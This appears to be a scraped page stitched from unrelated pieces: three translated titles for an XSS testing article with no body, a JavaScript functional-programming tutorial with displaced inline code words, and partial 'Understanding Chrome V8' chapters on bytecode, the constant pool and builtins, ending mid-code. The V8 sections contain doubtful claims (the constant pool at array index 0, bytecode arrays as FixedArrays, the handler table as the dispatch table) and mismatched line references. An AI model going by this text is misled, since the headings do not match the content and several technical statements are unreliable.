Siteler Arası Komut Dosyası Çalıştırma (XSS) Güvenlik Açıkları: Test Stratejileri ve Örnekler

Lỗ hổng Cross-Site Scripting (XSS): Chiến lược và ví dụ thử nghiệm

跨站脚本 (XSS) 漏洞：测试策略和示例

Unlock the power of functional programming in JavaScript! Learn key concepts and practical examples, and unleash their potential in your projects. Hey, fellow enthusiasts! 🎉 Are you pumped up to join us on an exciting adventure that will not only level up your coding skills but also revolutionize your mindset about programming? JavaScript Welcome to our deep dive into the amazing world of Functional Programming with JavaScript. In this article, we're going to demystify the secrets of functional programming, break down its fundamental concepts, and arm you with the tools to unleash its potential in your projects. So grab your go-to drink, get comfy, and let's jump right in! Introduction to Functional Programming What is Functional Programming? At its core, functional programming is a programming paradigm that treats computation as the evaluation of mathematical functions. It emphasizes the use of pure functions, immutability, and higher-order functions to create programs that are more predictable and easier to reason about. Key Principles and Concepts These gems of functional programming always produce the same output for the same input and have no side effects. Let's take an example: Pure Functions: // Impure function
let total = 0;
function addToTotal(amount) {
  total += amount;
  return total;
}

// Pure function
function add(a, b) {
  return a + b;
} In the above code, the function modifies the external state (total), making it impure. On the other hand, the function is pure because it doesn't rely on an external state and returns a consistent result for the same inputs. addToTotal add In the functional world, once data is created, it remains unchanged. This not only Immutability: simplifies reasoning but also plays well with parallel processing. Here's a taste of immutability: const originalArray = [1, 2, 3];
const newArray = [...originalArray, 4]; In this example, we're creating a new array by spreading the elements of the and adding a new element . The remains unchanged. newArray originalArray 4 originalArray Benefits of Functional Programming Functional programming brings a plethora of benefits: The focus on small, pure functions leads to code that's easier to read and understand. Readability: Since pure functions produce consistent output, debugging becomes a breeze. Predictability: Immutability and lack of side effects make it easier to handle concurrency and parallelism. Concurrent and Parallel Execution: Higher-order functions enable you to write reusable pieces of code that can be applied to different scenarios. Reusable Code: Immutability and Pure Functions Understanding Immutability Immutability ensures that once data is created, it can't be changed. This might sound counterintuitive, but it has remarkable benefits, especially when it comes to debugging and maintaining code. Consider an example with objects: const person = { name: 'Alice', age: 30 };
const updatedPerson = { ...person, age: 31 }; In this example, we're creating a new object by spreading the properties of the object and modifying the property. The object remains unchanged. updatedPerson person age person Characteristics of Pure Functions Pure functions are the backbone of functional programming. They exhibit two main characteristics: For the same input, a pure function will always produce the same output. Deterministic: function add(a, b) {
  return a + b;
}

const result1 = add(2, 3); // 5
const result2 = add(2, 3); // 5 Pure functions don't modify external state, ensuring a clear separation of concerns. No Side Effects: let total = 0;

// Impure function
function addToTotal(amount) {
  total += amount;
  return total;
}

// Pure function
function addToTotalPure(total, amount) {
  return total + amount;
} Advantages of Immutability and Pure Functions Imagine working with a codebase where you can trust that functions won't unexpectedly modify data or introduce hidden dependencies. This level of predictability simplifies testing, refactoring, and collaboration. Higher-Order Functions and Function Composition Exploring Higher-Order Functions Higher-order functions are functions that can accept other functions as arguments or return them. They open the door to elegant and concise code. function multiplier(factor) {
  return function (number) {
    return number * factor;
  };
}

const double = multiplier(2);
const triple = multiplier(3);

console.log(double(5)); // 10
console.log(triple(5)); // 15 In this example, the function is a higher-order function that returns another function based on the provided. multiplier factor Leveraging Function Composition Function composition is like Lego for functions. It involves combining simple functions to build more complex ones. This makes code modular and easier to reason about. const add = (x, y) => x + y;
const square = (x) => x * x;

function compose(...functions) {
  return (input) => functions.reduceRight((acc, fn) => fn(acc), input);
}

const addAndSquare = compose(square, add);

console.log(addAndSquare(3, 4)); // 49 In this example, the function takes multiple functions and returns a new function that applies them in reverse order. compose Data Processing Pipelines Imagine you have an array of numbers, and you want to double each number, filter out the even ones, and then find their sum. const numbers = [1, 2, 3, 4, 5, 6];

const double = (num) => num * 2;
const isEven = (num) => num % 2 === 0;

const result = numbers
  .map(double)
  .filter(isEven)
  .reduce((acc, num) => acc + num, 0);

console.log(result); // 18 Middleware Chains When building applications, you often encounter scenarios where you need to apply a series of transformations or checks to data. This is where middleware chains come into play. function authenticateUser(req, res, next) {
  if (req.isAuthenticated()) {
    next();
  } else {
    res.status(401).send('Unauthorized');
  }
}

function logRequest(req, res, next) {
  console.log(`Request made to ${req.url}`);
  next();
}

app.get('/profile', logRequest, authenticateUser, (req, res) => {
  res.send('Welcome to your profile!');
}); In this example, the and functions act as middleware, sequentially applying actions before reaching the final request handler. logRequest authenticateUser Asynchronous Programming Higher-order functions are particularly handy when dealing with asynchronous operations. Consider a scenario where you want to fetch data from an API and process it. function fetchData(url) {
  return fetch(url).then((response) => response.json());
}

function processAndDisplay(data) {
  // Process data and display
}

fetchData('https://api.example.com/data')
  .then(processAndDisplay)
  .catch((error) => console.error(error)); In this example, the function returns a promise, allowing you to chain the function to handle the data. fetchData processAndDisplay Dealing with Side Effects Identifying and Handling Side Effects Side effects occur when a function changes something outside of its scope, such as modifying global variables or interacting with external resources like databases. In functional programming, reducing and managing side effects is essential to maintain the purity and predictability of your code. Consider a simple example where a function has a side effect: let counter = 0;

function incrementCounter() {
  counter++;
}

console.log(counter); // 0
incrementCounter();
console.log(counter); // 1 (side effect occurred) In this example, the function modifies the external state ( ), causing a side effect. incrementCounter counter Pure Functions and Side Effect Management Pure functions can help mitigate the impact of side effects. By encapsulating side-effectful operations within pure functions, you can maintain a clearer separation between pure and impure parts of your code. let total = 0;

// Impure function with side effect
function addToTotal(amount) {
  total += amount;
  return total;
}

// Pure function with no side effects
function addToTotalPure(previousTotal, amount) {
  return previousTotal + amount;
}

let newTotal = addToTotalPure(total, 5);
console.log(newTotal); // 5

newTotal = addToTotalPure(newTotal, 10);
console.log(newTotal); // 15 In the improved version, the function takes the previous total and the amount to add as arguments and returns a new total. This avoids modifying the external state and maintains the purity of the function. addToTotalPure Introduction to Monads , but they provide a structured way to handle side effects while adhering to functional principles. Promises are a familiar example of monads in JavaScript. They allow you to work with asynchronous operations in a functional way, chaining operations without directly dealing with callbacks or managing state. Monads are a more advanced topic in functional programming function fetchData(url) {
  return fetch(url).then((response) => response.json());
}

fetchData('https://api.example.com/data')
  .then((data) => {
    // Process data
    return data.map(item => item.name);
  })
  .then((processedData) => {
    // Use processed data
    console.log(processedData);
  })
  .catch((error) => {
    console.error(error);
  }); In this example, the function returns a Promise that resolves to the fetched JSON data. You can then chain multiple calls to process and use the data. Promises encapsulate the asynchronous side effects and allow you to work with them in a functional manner. fetchData .then() Data Transformation and Manipulation Overview of Data Transformation in Functional Programming Functional programming is a natural fit for transforming and manipulating data. It encourages you to apply functions to data to get the desired output while maintaining a clear and predictable flow. Working with Map, Filter, and Reduce Functions Let's dive into some commonly used higher-order functions for data transformation: Transform each element in an array and return a new array. Map: const numbers = [1, 2, 3, 4];
const squaredNumbers = numbers.map((num) => num * num);
console.log(squaredNumbers); // [1, 4, 9, 16] Create a new array containing elements that satisfy a given condition. Filter: const numbers = [1, 2, 3, 4, 5, 6];
const evenNumbers = numbers.filter((num) => num % 2 === 0);
console.log(evenNumbers); // [2, 4, 6] Combine all elements in an array into a single value. Reduce: const numbers = [1, 2, 3, 4];
const sum = numbers.reduce((acc, num) => acc + num, 0);
console.log(sum); // 10 These functions allow you to express data transformations in a declarative and concise way, following the functional programming paradigm. Functional Programming in Practice Applying Functional Programming Concepts to Real-World Scenarios Now that we've covered the foundational aspects of functional programming, it's time to put these concepts to use in real-world scenarios. Building a Task Management App Let's dive into building a simple task management application using functional programming concepts. We'll take a step-by-step approach, providing detailed explanations and engaging with readers every step of the way. Step 1: State Management with Pure Functions To start, let's manage our task data using pure functions. We'll use an array to store our tasks, and we'll create functions to add and complete tasks without directly modifying the original array. // Initial tasks array
const tasks = [];

// Function to add a task
function addTask(tasks, newTask) {
  return [...tasks, newTask];
}

// Function to complete a task
function completeTask(tasks, taskId) {
  return tasks.map(task =>
    task.id === taskId ? { ...task, completed: true } : task
  );
} We begin by initializing an empty array to store our task objects. The function takes the existing tasks array and a new task object as arguments. It uses the spread operator to create a new array with the new task added. Similarly, the function takes the tasks array and a taskId as arguments, and it returns a new array with the completed task updated. tasks addTask completeTask Step 2: Data Transformation with Map and Filter Now, let's use functional programming to transform and filter our task data. // Function to get total completed tasks
function getTotalTasksCompleted(tasks) {
  return tasks.reduce((count, task) => task.completed ? count + 1 : count, 0);
}

// Function to get names of tasks with a specific status
function getTaskNamesWithStatus(tasks, completed) {
  return tasks
    .filter(task => task.completed === completed)
    .map(task => task.name);
} In the function, we use the function to count the number of completed tasks. The function takes the tasks array and a flag as arguments. It uses to extract tasks with the specified status and to retrieve their names. getTotalTasksCompleted reduce getTaskNamesWithStatus completed filter map Step 3: Creating Modular Components with Function Composition Let's create modular components using function composition to render our task data. // Function to render tasks in UI
function renderTasks(taskNames) {
  console.log('Tasks:', taskNames);
}

// Compose function for processing and rendering tasks
const compose = (...functions) =>
  input => functions.reduceRight((acc, fn) => fn(acc), input);

const processAndRenderTasks = compose(
  renderTasks,
  getTaskNamesWithStatus.bind(null, tasks, true)
);

processAndRenderTasks(tasks); We define the function to display task names in the console. The function takes an array of functions and returns a new function that chains these functions in reverse order. This allows us to create a pipeline for processing and rendering tasks. renderTasks compose Finally, we create by composing the function and the function, pre-setting the flag to . processAndRenderTasks renderTasks getTaskNamesWithStatus completed true By following these steps, we've built a functional task management application that effectively leverages pure functions, data transformation, and modular components. This example demonstrates the power of functional programming in creating maintainable and readable code. Best Practices and Tips for Effective Functional Programming Now that we've explored applying functional programming concepts in real-world scenarios let's delve into some best practices and tips for effectively embracing functional programming in your projects. Favor Immutability Whenever Possible Immutability: Immutability is a cornerstone of functional programming. Avoid modifying data directly and create new instances with the desired changes instead. This leads to predictable behavior and helps prevent unintended side effects. // Mutable approach
let user = { name: 'Alice', age: 30 };
user.age = 31; // Mutating the object

// Immutable approach
const updatedUser = { ...user, age: 31 }; Break Down Complex Logic Small, Pure Functions: Divide your code into small, focused, and pure functions. Each function should have a single responsibility and produce consistent results based on its inputs. // Complex and impure function
function processUserData(user) {
  // Performs multiple tasks and relies on external state
  user.age += 1;
  sendEmail(user.email, 'Profile Updated');
  return user;
}

// Pure functions with single responsibilities
function incrementAge(user) {
  return { ...user, age: user.age + 1 };
}

function sendUpdateEmail(user) {
  sendEmail(user.email, 'Profile Updated');
} Pure Functions Are Test-Friendly Testing: Pure functions are a joy to test because they have no side effects and their output is solely determined by their inputs. Testing becomes straightforward, and you gain confidence in your code's behavior. function add(a, b) {
  return a + b;
}

// Test for pure function
test('add function', () => {
  expect(add(2, 3)).toBe(5);
  expect(add(-1, 1)).toBe(0);
}); Choose the Right Tools Tool Selection: Functional programming doesn't mean using only map, filter, and reduce. Use the appropriate tools for the task. Higher-order functions, monads like Promises, and functional libraries can simplify complex scenarios. // Using a functional library (Lodash)
const doubledEvens = _.chain(numbers)
  .filter(isEven)
  .map(double)
  .value(); Wrapping Up In our time exploring functional programming together, we've uncovered some really cool principles, ideas, and real-world examples of FP in JavaScript. By learning about pure functions, immutability, and higher-order functions, we've gained a new perspective on how to design, write, and maintain our code. We started by understanding the core concepts like pure functions, immutability, and higher-order functions. These help us create more predictable, easy-to-understand, and bug-free code. The examples showed how FP could be applied in practice, like managing state changes, transforming data, and using modular components and pure functions. This improves code quality and readability. We also looked at some best practices - like favoring immutability, small pure functions, testing, and choosing helpful tools. These lead to efficient development and robust, maintainable code. Adopting FP offers many benefits, like better code quality and developer productivity. It encourages solving problems through data flows and transformations, which fits well with modern approaches. As you continue learning, remember FP is a mindset, not just rules. It fosters elegant, learning-focused solutions. So, whether starting new projects or improving existing ones, consider applying FP principles to take your skills even further. Thanks for joining me on this exploration of FP in JavaScript! With your new knowledge, go code something awesome that's functional and really makes an impact. Happy coding! 🚀 If you like my article, feel free to follow me on . HackerNoon Also published . here

Functional Programming With JavaScript: A Deep Dive

Storybook v2 Comic Book Builder: Part 1, Gathering Content

In this article, we’ll dive into bytecode, and examine the bytecode generation and constant pool in detail. 1. Bytecode Generation The GenerateUnoptimizedCodeForToplevel is responsible for transforming an AST tree into bytecodes. 1.  MaybeHandle<SharedFunctionInfo> GenerateUnoptimizedCodeForToplevel(
2.      Isolate* isolate, ParseInfo* parse_info, AccountingAllocator* allocator,
3.      IsCompiledScope* is_compiled_scope) {
4.  //omit............
5.     while (!functions_to_compile.empty()) {
6.  //omit............
7.       if (job->ExecuteJob() == CompilationJob::FAILED ||
8.           FinalizeUnoptimizedCompilationJob(job.get(), shared_info, isolate) ==
9.               CompilationJob::FAILED) {
10.           return MaybeHandle<SharedFunctionInfo>();
11.         }
12.         if (FLAG_stress_lazy_source_positions) {
13.           SharedFunctionInfo::EnsureSourcePositionsAvailable(isolate, shared_info);
14.         }
15.         if (shared_info.is_identical_to(top_level)) {
16.           *is_compiled_scope = shared_info->is_compiled_scope();
17.           DCHECK(is_compiled_scope->is_compiled());
18.         }
19.       }
20.       parse_info->ResetCharacterStream();
21.       return top_level;
22.     } Line 7 reads an AST tree from parse_info and generates bytecode. By debugging it, we step into the following function which analyses every AST node and generates a corresponding bytecode. job->ExecuteJob() 1.  void BytecodeGenerator::GenerateBytecodeBody() {
2.    VisitArgumentsObject(closure_scope()->arguments());
3.    VisitNewTargetVariable(closure_scope()->new_target_var());
4.    FunctionLiteral* literal = info()->literal();
5.    if (IsResumableFunction(literal->kind())) {
6.      BuildGeneratorObjectVariableInitialization();
7.    }
8.    if (FLAG_trace) builder()->CallRuntime(Runtime::kTraceEnter);
9.  //省略.........................
10.    BuildIncrementBlockCoverageCounterIfEnabled(literal, SourceRangeKind::kBody);
11.    VisitDeclarations(closure_scope()->declarations());
12.    VisitModuleNamespaceImports();
13.    builder()->StackCheck(literal->start_position());
14.    if (IsBaseConstructor(function_kind())) {
15.      if (literal->requires_brand_initialization()) {
16.        BuildPrivateBrandInitialization(builder()->Receiver());
17.      }
18.      if (literal->requires_instance_members_initializer()) {
19.        BuildInstanceMemberInitialization(Register::function_closure(),
20.                                          builder()->Receiver());
21.      }
22.    }
23.    VisitStatements(literal->body());
24.    if (!builder()->RemainderOfBlockIsDead()) {
25.      builder()->LoadUndefined();
26.      BuildReturn();
27.    }
28.  } In the above function, lines 11, 12, and 23 first analyze the declaration, import modules, and statements respectively, and then generate corresponding bytecodes. In our case, we will examine line 11 VisitDeclarations() in more depth. In VisitDeclarations(), the following function is called. 1.  BytecodeArrayBuilder& BytecodeArrayBuilder::LoadConstantPoolEntry(
2.      size_t entry) {
3.    OutputLdaConstant(entry);
4.    return *this;
5.  }
6.  //============================
7.  #define DEFINE_BYTECODE_OUTPUT(name, ...) In line 3, OutputLdaConstant stores one global constant into the constant-pool and generates bytecode LdaGlobal for loading this constant, so that we can get out the constant through the LdaGlobal during execution. About the constant pool, I will talk later. By debugging OutputLdaConstant(), we step into the EmitBytecode() which generates one bytecode for a corresponding statement and also is the function that generates the LdaGlobal for our global constant. 1.  void BytecodeArrayWriter::EmitBytecode(const BytecodeNode* const node) {
2.  //omit..........
3.     for (int i = 0; i < operand_count; ++i) {
4.       switch (operand_sizes[i]) {
5.         case OperandSize::kNone:
6.           UNREACHABLE();
7.           break;
8.         case OperandSize::kByte:
9.           bytecodes()->push_back(static_cast<uint8_t>(operands[i]));
10.           break;
11.         case OperandSize::kShort: {
12.           uint16_t operand = static_cast<uint16_t>(operands[i]);
13.           const uint8_t* raw_operand = reinterpret_cast<const uint8_t*>(&operand);
14.           bytecodes()->push_back(raw_operand[0]);
15.           bytecodes()->push_back(raw_operand[1]);
16.           break;
17.         }
18.         case OperandSize::kQuad: {
19.           const uint8_t* raw_operand =
20.               reinterpret_cast<const uint8_t*>(&operands[i]);
21.           bytecodes()->push_back(raw_operand[0]);
22.           bytecodes()->push_back(raw_operand[1]);
23.           bytecodes()->push_back(raw_operand[2]);
24.           bytecodes()->push_back(raw_operand[3]);
25.           break;
26.         }
27.       }
28.     }
29.   } From lines 4 to 25, calculate the operand size for our LdaGlobal, because in execution, a bytecode needs the operand size to operate the operand correctly. Back to GenerateBytecodeBody(), in line 23, the VisitStatements() reads one AST node that represents a corresponding JavaScript statement, and generate one bytecode. If one AST node represents a JavaScript statement block, the VisitStatements() will recursively call itself to generate many bytecodes. Note: void BytecodeGenerator::VisitStatements(
    const ZonePtrList<Statement>* statements) {
  for (int i = 0; i < statements->length(); i++) {
    // Allocate an outer register allocations scope for the statement.
    RegisterAllocationScope allocation_scope(this);
    Statement* stmt = statements->at(i);
    Visit(stmt);
    if (builder()->RemainderOfBlockIsDead()) break;
  }
} Figure 1 shows the VisitStatements’s call stack. 2. Constant Pool function test(x)
{
 if(x>0)
 add3(x);//x=x+3
 dosomething........
} When compiling the function test(), the compiler infers that the add3 will be called, and the add3 address should be pushed into the constant pool. But, there’s a question here. We have no address if the add3() is not compiled yet. In this case, the compiler reserves a slot for the add3 in the constant pool and fills it once the add3() is compiled, namely DeferredConstants. Let’s give a glance at FinalizeBytecode(). 1.  Handle<BytecodeArray> BytecodeGenerator::FinalizeBytecode(
2.      Isolate* isolate, Handle<Script> script) {
3.    DCHECK_EQ(ThreadId::Current(), isolate->thread_id());
4.    AllocateDeferredConstants(isolate, script);
5.    if (block_coverage_builder_) {
6.      info()->set_coverage_info(
7.          isolate->factory()->NewCoverageInfo(block_coverage_builder_->slots()));
8.      if (FLAG_trace_block_coverage) {
9.        info()->coverage_info()->Print(info()->literal()->GetDebugName());
10.      }
11.    }
12.    if (HasStackOverflow()) return Handle<BytecodeArray>();
13.    Handle<BytecodeArray> bytecode_array = builder()->ToBytecodeArray(isolate);
14.    if (incoming_new_target_or_generator_.is_valid()) {
15.      bytecode_array->set_incoming_new_target_or_generator_register(
16.          incoming_new_target_or_generator_);
17.    }
18.    return bytecode_array;
19.  } In line 4, AllocateDeferredConstants creates the DeferredConstants. 1.  void BytecodeGenerator::AllocateDeferredConstants(Isolate* isolate,
2.                                                    Handle<Script> script) {
3.    // Build global declaration pair arrays.
4.    for (GlobalDeclarationsBuilder* globals_builder : global_declarations_) {
5.      Handle<FixedArray> declarations =
6.          globals_builder->AllocateDeclarations(info(), script, isolate);
7.      if (declarations.is_null()) return SetStackOverflow();
8.      builder()->SetDeferredConstantPoolEntry(
9.          globals_builder->constant_pool_entry(), declarations);
10.     }
11.     // Find or build shared function infos.
12.     for (std::pair<FunctionLiteral*, size_t> literal : function_literals_) {
13.    //omit..................
14.     }
15.     // Find or build shared function infos for the native function templates.
16.     for (std::pair<NativeFunctionLiteral*, size_t> literal :
17.          native_function_literals_) {
18.   //omit..................
19.     }
20.     // Build object literal constant properties
21.     for (std::pair<ObjectLiteral*, size_t> literal : object_literals_) {
22.       ObjectLiteral* object_literal = literal.first;
23.   //omit..................
24.       }
25.     }
26.     // Build array literal constant elements
27.     for (std::pair<ArrayLiteral*, size_t> literal : array_literals_) {
28.   //omit..................
29.     }
30.     // Build class literal boilerplates.
31.     for (std::pair<ClassLiteral*, size_t> literal : class_literals_) {
32.   //omit..................
33.     }
34.     // Build template literals.
35.     for (std::pair<GetTemplateObject*, size_t> literal : template_objects_) {
36.   //omit..................
37.     }
38.   } From lines 4 to 10, the loop-for store global variables in the constant pool. From lines 11 to 35 store the sharedfunction, constant property, and other stuff in the constant pool. 3. FinalizeBytecode The FinalizeBytecode() is the last step for generating bytecode. Let’s give a glance at line 13 of the FinalizeBytecode, the reorganizes the bytecodes and returns a bytecode array that holds a bytecode array representing your JavaScript code. What is “reorganize”? It is that just put bytecode, constant pool, etc. together because all the stuff is already done well before ToBytecodeArray. builder()->ToBytecodeArray 1.  Handle<BytecodeArray> BytecodeArrayBuilder::ToBytecodeArray(Isolate* isolate) {
2.    DCHECK(RemainderOfBlockIsDead());
3.    DCHECK(!bytecode_generated_);
4.    bytecode_generated_ = true;
5.    int register_count = total_register_count();
6.    if (register_optimizer_) {
7.  //omit
8.    }
9.    Handle<ByteArray> handler_table =
10.        handler_table_builder()->ToHandlerTable(isolate);
11.    return bytecode_array_writer_.ToBytecodeArray(
12.        isolate, register_count, parameter_count(), handler_table);
13.  } Line 9 gets out the handler_table, namely the dispatch_table that I have talked about. Line 11 stores the handler_table address into a bytecode array. Remember that each bytecode has only one handler that is the actual worker and is held by the dispatch_table. Let’s give a glance at line 11 bytecode_array_writer_.ToBytecodeArray. 1.  Handle<BytecodeArray> BytecodeArrayWriter::ToBytecodeArray(
2.      Isolate* isolate, int register_count, int parameter_count,
3.      Handle<ByteArray> handler_table) {
4.    DCHECK_EQ(0, unbound_jumps_);
5.    int bytecode_size = static_cast<int>(bytecodes()->size());
6.    int frame_size = register_count * kSystemPointerSize;
7.    Handle<FixedArray> constant_pool =
8.        constant_array_builder()->ToFixedArray(isolate);
9.    Handle<BytecodeArray> bytecode_array = isolate->factory()->NewBytecodeArray(
10.        bytecode_size, &bytecodes()->front(), frame_size, parameter_count,
11.        constant_pool);
12.    bytecode_array->set_handler_table(*handler_table);
13.    return bytecode_array;
14.  } Line 7 generates constant_pool, and line 9 generates a bytecode array that the source code is below: 1.  Handle<BytecodeArray> Factory::NewBytecodeArray(
2.      int length, const byte* raw_bytecodes, int frame_size, int parameter_count,
3.      Handle<FixedArray> constant_pool) {
4.    DCHECK_LE(0, length);
5.    if (length > BytecodeArray::kMaxLength) {
6.      isolate()->heap()->FatalProcessOutOfMemory("invalid array length");
7.    }
8.    // Bytecode array is AllocationType::kOld, so constant pool array should be
9.    // too.
10.    DCHECK(!Heap::InYoungGeneration(*constant_pool));
11.    int size = BytecodeArray::SizeFor(length);
12.    HeapObject result = AllocateRawWithImmortalMap(size, AllocationType::kOld,
13.                                                   *bytecode_array_map());
14.    Handle<BytecodeArray> instance(BytecodeArray::cast(result), isolate());
15.    instance->set_length(length);
16.    instance->set_frame_size(frame_size);
17.    instance->set_parameter_count(parameter_count);
18.    instance->set_incoming_new_target_or_generator_register(
19.        interpreter::Register::invalid_value());
20.    instance->set_osr_loop_nesting_level(0);
21.    instance->set_bytecode_age(BytecodeArray::kNoAgeBytecodeAge);
22.    instance->set_constant_pool(*constant_pool);
23.    instance->set_handler_table(*empty_byte_array());
24.    instance->set_source_position_table(*undefined_value());
25.    CopyBytes(reinterpret_cast<byte*>(instance->GetFirstBytecodeAddress()),
26.              raw_bytecodes, length);
27.    instance->clear_padding();
28.    return instance;
29.  } Line 12 allocates memory from the V8 heap, and then lines 15–25 copy the bytecode array into the memory, and line 28 returns the bytecode finally. Takeaways Constant pool holds constants, function addresses, etc. If a variable name is known, it as a constant is stored in the constant pool; Note: Constant pool always is at bytecode array[0]. In other words, given a bytecode array, the first element of the array is always the constant pool; A bytecode array is a heap object and its type is FixedArray. Okay, that wraps it up for this share. I’ll see you guys next time, take care! Please reach out to me if you have any issues. : qq9123013 : WeChat Email v8blink@outlook.com Also Published here

Understanding Chrome V8 - Chapter 22: Compiler Workflow Bytecode, Constant Pool

Welcome to other chapters of Let’s Understand Chrome V8 Most of the functions in V8 are implemented in the builtin. In this paper, we’ll talk about the initialization of builtin and common builtin types. Initialization Below is the code class, which is responsible for managing all builtins. 1.  class Code : public HeapObject {
2.   public:
3.    NEVER_READ_ONLY_SPACE
4.    // Opaque data type for encapsulating code flags like kind, inline
5.    // cache state, and arguments count.
6.    using Flags = uint32_t;
7.  #define CODE_KIND_LIST(V)   \
8.      V(OPTIMIZED_FUNCTION)     \
9.      V(BYTECODE_HANDLER)       \
10.     V(STUB)                   \
11.     V(BUILTIN)                \
12.     V(REGEXP)                 \
13.     V(WASM_FUNCTION)          \
14.     V(WASM_TO_CAPI_FUNCTION)  \
15.     V(WASM_TO_JS_FUNCTION)    \
16.     V(JS_TO_WASM_FUNCTION)    \
17.     V(JS_TO_JS_FUNCTION)      \
18.     V(WASM_INTERPRETER_ENTRY) \
19.     V(C_WASM_ENTRY)
20.     enum Kind {
21.   #define DEFINE_CODE_KIND_ENUM(name) name,
22.       CODE_KIND_LIST(DEFINE_CODE_KIND_ENUM)
23.   #undef DEFINE_CODE_KIND_ENUM
24.           NUMBER_OF_KINDS
25.     };
26.     static const char* Kind2String(Kind kind);
27.     // Layout description.
28.   #define CODE_FIELDS(V)                                                    \
29.     V(kRelocationInfoOffset, kTaggedSize)                                   \
30.     V(kDeoptimizationDataOffset, kTaggedSize)                               \
31.     V(kSourcePositionTableOffset, kTaggedSize)                              \
32.     V(kCodeDataContainerOffset, kTaggedSize)                                \
33.     /* Data or code not directly visited by GC directly starts here. */     \
34.     /* The serializer needs to copy bytes starting from here verbatim. */   \
35.     /* Objects embedded into code is visited via reloc info. */             \
36.     V(kDataStart, 0)                                                        \
37.     V(kInstructionSizeOffset, kIntSize)                                     \
38.     V(kFlagsOffset, kIntSize)                                               \
39.     V(kSafepointTableOffsetOffset, kIntSize)                                \
40.     V(kHandlerTableOffsetOffset, kIntSize)                                  \
41.     V(kConstantPoolOffsetOffset,                                            \
42.       FLAG_enable_embedded_constant_pool ? kIntSize : 0)                    \
43.     V(kCodeCommentsOffsetOffset, kIntSize)                                  \
44.     V(kBuiltinIndexOffset, kIntSize)                                        \
45.     V(kUnalignedHeaderSize, 0)                                              \
46.     /* Add padding to align the instruction start following right after */  \
47.     /* the Code object header. */                                           \
48.     V(kOptionalPaddingOffset, CODE_POINTER_PADDING(kOptionalPaddingOffset)) \
49.     V(kHeaderSize, 0)
50.     DEFINE_FIELD_OFFSET_CONSTANTS(HeapObject::kHeaderSize, CODE_FIELDS)
51.  //omit...........................
52.   }; Line 7 defines the type of code, the definitions of builtins are given in builtins-definitions.h. The roles of code and builtin are different, but their initializations are done uniformly by void Isolate::Initialize(Isolate* isolate,const v8::Isolate::CreateParams& params). Below is the initialization. 1.  void Isolate::Initialize(Isolate* isolate,
2.                           const v8::Isolate::CreateParams& params) {
3.    i::Isolate* i_isolate = reinterpret_cast<i::Isolate*>(isolate);
4.    CHECK_NOT_NULL(params.array_buffer_allocator);
5.    i_isolate->set_array_buffer_allocator(params.array_buffer_allocator);
6.    if (params.snapshot_blob != nullptr) {
7.      i_isolate->set_snapshot_blob(params.snapshot_blob);
8.    } else {
9.      i_isolate->set_snapshot_blob(i::Snapshot::DefaultSnapshotBlob());
10.   }
11.    auto code_event_handler = params.code_event_handler;
12.  //.....................omit....................
13.    if (!i::Snapshot::Initialize(i_isolate)) {
14.      // If snapshot data was provided and we failed to deserialize it must
15.      // have been corrupted.
16.      if (i_isolate->snapshot_blob() != nullptr) {
17.        FATAL(
18.            "Failed to deserialize the V8 snapshot blob. This can mean that the "
19.            "snapshot blob file is corrupted or missing.");
20.      }
21.      base::ElapsedTimer timer;
22.      if (i::FLAG_profile_deserialization) timer.Start();
23.      i_isolate->InitWithoutSnapshot();
24.      if (i::FLAG_profile_deserialization) {
25.        double ms = timer.Elapsed().InMillisecondsF();
26.        i::PrintF("[Initializing isolate from scratch took %0.3f ms]\n", ms);
27.      }
28.    }
29.    i_isolate->set_only_terminate_in_safe_scope(
30.        params.only_terminate_in_safe_scope);
31.  } During the initialization, the 22nd line of code will be executed, and call the below function. 1.  void SetupIsolateDelegate::SetupBuiltinsInternal(Isolate* isolate) {
2.  //..................omit
3.  //..................omit
4.    int index = 0;
5.    Code code;
6.  #define BUILD_CPP(Name)                                                      \
7.    code = BuildAdaptor(isolate, index, FUNCTION_ADDR(Builtin_##Name), #Name); \
8.    AddBuiltin(builtins, index++, code);
9.  #define BUILD_TFJ(Name, Argc, ...)                              \
10.   code = BuildWithCodeStubAssemblerJS(                          \
11.        isolate, index, &Builtins::Generate_##Name, Argc, #Name); \
12.    AddBuiltin(builtins, index++, code);
13.  #define BUILD_TFC(Name, InterfaceDescriptor)                      \
14.    /* Return size is from the provided CallInterfaceDescriptor. */ \
15.    code = BuildWithCodeStubAssemblerCS(                            \
16.        isolate, index, &Builtins::Generate_##Name,                 \
17.        CallDescriptors::InterfaceDescriptor, #Name);               \
18.    AddBuiltin(builtins, index++, code);
19.  #define BUILD_TFS(Name, ...)                                                   \
20.    /* Return size for generic TF builtins (stub linkage) is always 1. */        \
21.    code =                                                                       \
22.        BuildWithCodeStubAssemblerCS(isolate, index, &Builtins::Generate_##Name, \
23.                                     CallDescriptors::Name, #Name);              \
24.    AddBuiltin(builtins, index++, code);
25.  #define BUILD_TFH(Name, InterfaceDescriptor)              \
26.    /* Return size for IC builtins/handlers is always 1. */ \
27.    code = BuildWithCodeStubAssemblerCS(                    \
28.        isolate, index, &Builtins::Generate_##Name,         \
29.        CallDescriptors::InterfaceDescriptor, #Name);       \
30.    AddBuiltin(builtins, index++, code);
31.  #define BUILD_BCH(Name, OperandScale, Bytecode)                           \
32.    code = GenerateBytecodeHandler(isolate, index, OperandScale, Bytecode); \
33.    AddBuiltin(builtins, index++, code);
34.  #define BUILD_ASM(Name, InterfaceDescriptor)                                \
35.    code = BuildWithMacroAssembler(isolate, index, Builtins::Generate_##Name, \
36.                                   #Name);                                    \
37.    AddBuiltin(builtins, index++, code);
38.    BUILTIN_LIST(BUILD_CPP, BUILD_TFJ, BUILD_TFC, BUILD_TFS, BUILD_TFH, BUILD_BCH,
39.                 BUILD_ASM);
40//omit...........................
41.  } The main task of initialization is to generate and compile Builtin code and mount it on the i::isolate. We explain BuildWithCodeStubAssemblerCS in detail. The first parameter is used to hold the builtin; the second parameter is the index of the builtin array; the third parameter is the function pointer, pointing to the generated function of a builtin; the fourth parameter is the call descriptor; the last parameter is a name. 1.  // Builder for builtins implemented in TurboFan with CallStub linkage.
2.  Code BuildWithCodeStubAssemblerCS(Isolate* isolate, int32_t builtin_index,
3.                                    CodeAssemblerGenerator generator,
4.                                    CallDescriptors::Key interface_descriptor,
5.                                    const char* name) {
6.    HandleScope scope(isolate);
7.    // Canonicalize handles, so that we can share constant pool entries pointing
8.    // to code targets without dereferencing their handles.
9.    CanonicalHandleScope canonical(isolate);
10.   Zone zone(isolate->allocator(), ZONE_NAME);
11.    // The interface descriptor with given key must be initialized at this point
12.    // and this construction just queries the details from the descriptors table.
